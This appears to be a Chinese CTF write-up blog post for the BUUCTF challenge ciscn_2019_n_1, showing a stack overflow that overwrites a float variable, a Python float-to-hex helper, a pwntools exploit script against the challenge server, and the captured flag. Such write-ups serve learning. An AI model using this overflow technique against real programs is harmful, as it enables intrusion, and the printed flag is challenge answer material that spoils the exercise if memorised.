pwn学习(4)BUUCTF-ciscn_2019_n_1(浮点数转十六进制脚本积累)

checksec一下

IDA打开,如果满足的条件达成,就可以get flag

找到栈溢出漏洞,输入可以覆盖到v2

将代码11.28125在内存中的十六进制表示出来,

浮点数转十六进制代码如下:

复制代码
import struct

def float_to_hex(f):
    return hex(struct.unpack('<I',struct.pack('<f',f))[0])
print(float_to_hex(11.28125))
#output(0x41348000)

exp:

复制代码
from pwn import *

p=remote('node4.buuoj.cn',25860)

payload=b'a'*(0x30-0x4)+p32(0x41348000)
p.sendline(payload)

p.interactive()

运行出来的结果:

flag{8a5e8279-51a2-4b3b-8959-4d3f9b19227f}
总结:

脚本积累:浮点数转十六进制代码

相关推荐
乱世军军4 分钟前
AI 三大学习类型(监督/无监督/强化)的分类图
人工智能·学习
xixixi777775 分钟前
讲一下卫星移动通信网络(系统架构、核心技术与协议挑战及应用场景和战略价值)
网络·学习·安全·信息与通信·通信·卫星通信
名字不相符6 分钟前
[NCTF 2018]flask真香(个人记录,思路分析,学习知识,相关工具)
python·学习·flask·ctf
一字白首6 分钟前
Node.js+Vue 联动,Vue 快速上手:基础学习
vue.js·学习·node.js
●VON12 分钟前
《从零到企业级:基于 DevUI 的 B 端云控制台实战搭建指南》
学习·华为·openharmony·devui·企业级项目
(●—●)橘子……15 分钟前
力扣344.反转字符串 练习理解
python·学习·算法·leetcode·职场和发展
Lynnxiaowen20 分钟前
今天继续学习Kubernetes内容namespace资源对象和pod简介
linux·运维·学习·容器·kubernetes
梯度下降不了班22 分钟前
【mmodel/xDiT】多模态^_^从入门到放弃的学习路径
人工智能·学习·stable diffusion
不羁的木木28 分钟前
【开源鸿蒙跨平台开发学习笔记】Day08:React Native 开发 OpenHarmony —— RN 与原生调用全解析
笔记·学习·harmonyos
冬夜戏雪28 分钟前
【java学习日记】【2025.12.3】【3/60】
学习